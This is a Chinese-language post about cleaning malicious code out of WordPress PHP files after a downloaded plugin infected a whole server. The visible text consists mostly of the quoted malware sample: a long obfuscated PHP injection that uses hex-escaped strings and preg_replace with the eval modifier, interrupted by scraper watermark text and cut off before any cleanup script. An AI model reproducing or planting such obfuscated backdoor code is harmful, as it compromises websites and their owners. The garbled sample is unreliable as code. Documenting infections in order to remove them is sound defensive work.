PHP实现清除wordpress里恶意代码_php技巧

公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。

恶意代码示例

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/>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!hmg%x5c%x7825!j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>21<%x5c%x7825j=6[%x5c%x7825ww2!>5b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x, NULL); }ovg<~%x5c%x7824!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASVu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function 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chr(ord($n)-1);} @err81Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78y39]252]y83]273]y72]282#!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u>%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%xx5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c:osvufs:~:%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]47825V#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]2#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<j2]y74]256#<!%x5c%x7825k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3qif((function_exists("%x6f%142%x5f%163%x74%14H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x55)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x78257]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%mqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x782-%x5c%x7824gvodujpo!%x5c%x7822f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvoduj78786<C%x5c%x7827&6>1*!%x5c%x7825b:]y4c#!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%e56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTbek!~!<b%x5c%x7825%x5c%x787f!bjepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#cvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*q%x5c%x7825V>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!5)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<V%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u>#]y31]278]y3e]81]K78:569x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWtj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x]y7f#!%x5c%x782400~:Ew:Qb:Qc:]37]278]225]241]334]368]322]3]364]6]283]2178}527}88:}334}472%x55c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x25!-#2#%x5c%x782f#%x5c%x7825#%fwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fep>1%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x782x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6fs!~j%x5c%x7825!*3!%x5c%x7827c%x78256!#]y84]275]y83]273]y76]277#<%x5c%x7825t27825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x78-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:6<*msv%x5c%x78257-MSV,62b%x5c%7825%x5c%x7827Y%x5c%x78256EzH,2W%x5c%x7825wN;#-Ez-1H9%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x785:6197g:74985-rr.93e:5597f-s.973:8297f:52825)Rb%x5c%x7825))!gj!%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5256]y81]265]y7<b>/本文来源gao@!dai!ma.com搞$$代^@码5网@</b><strong>搞代gaodaima码</strong>2]254]y76]824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%/(.*)/epreg_replaceinxfryrtvr'; $wzmdmzzyol = explode(chr((176-132)),'7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10'); $yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<br />

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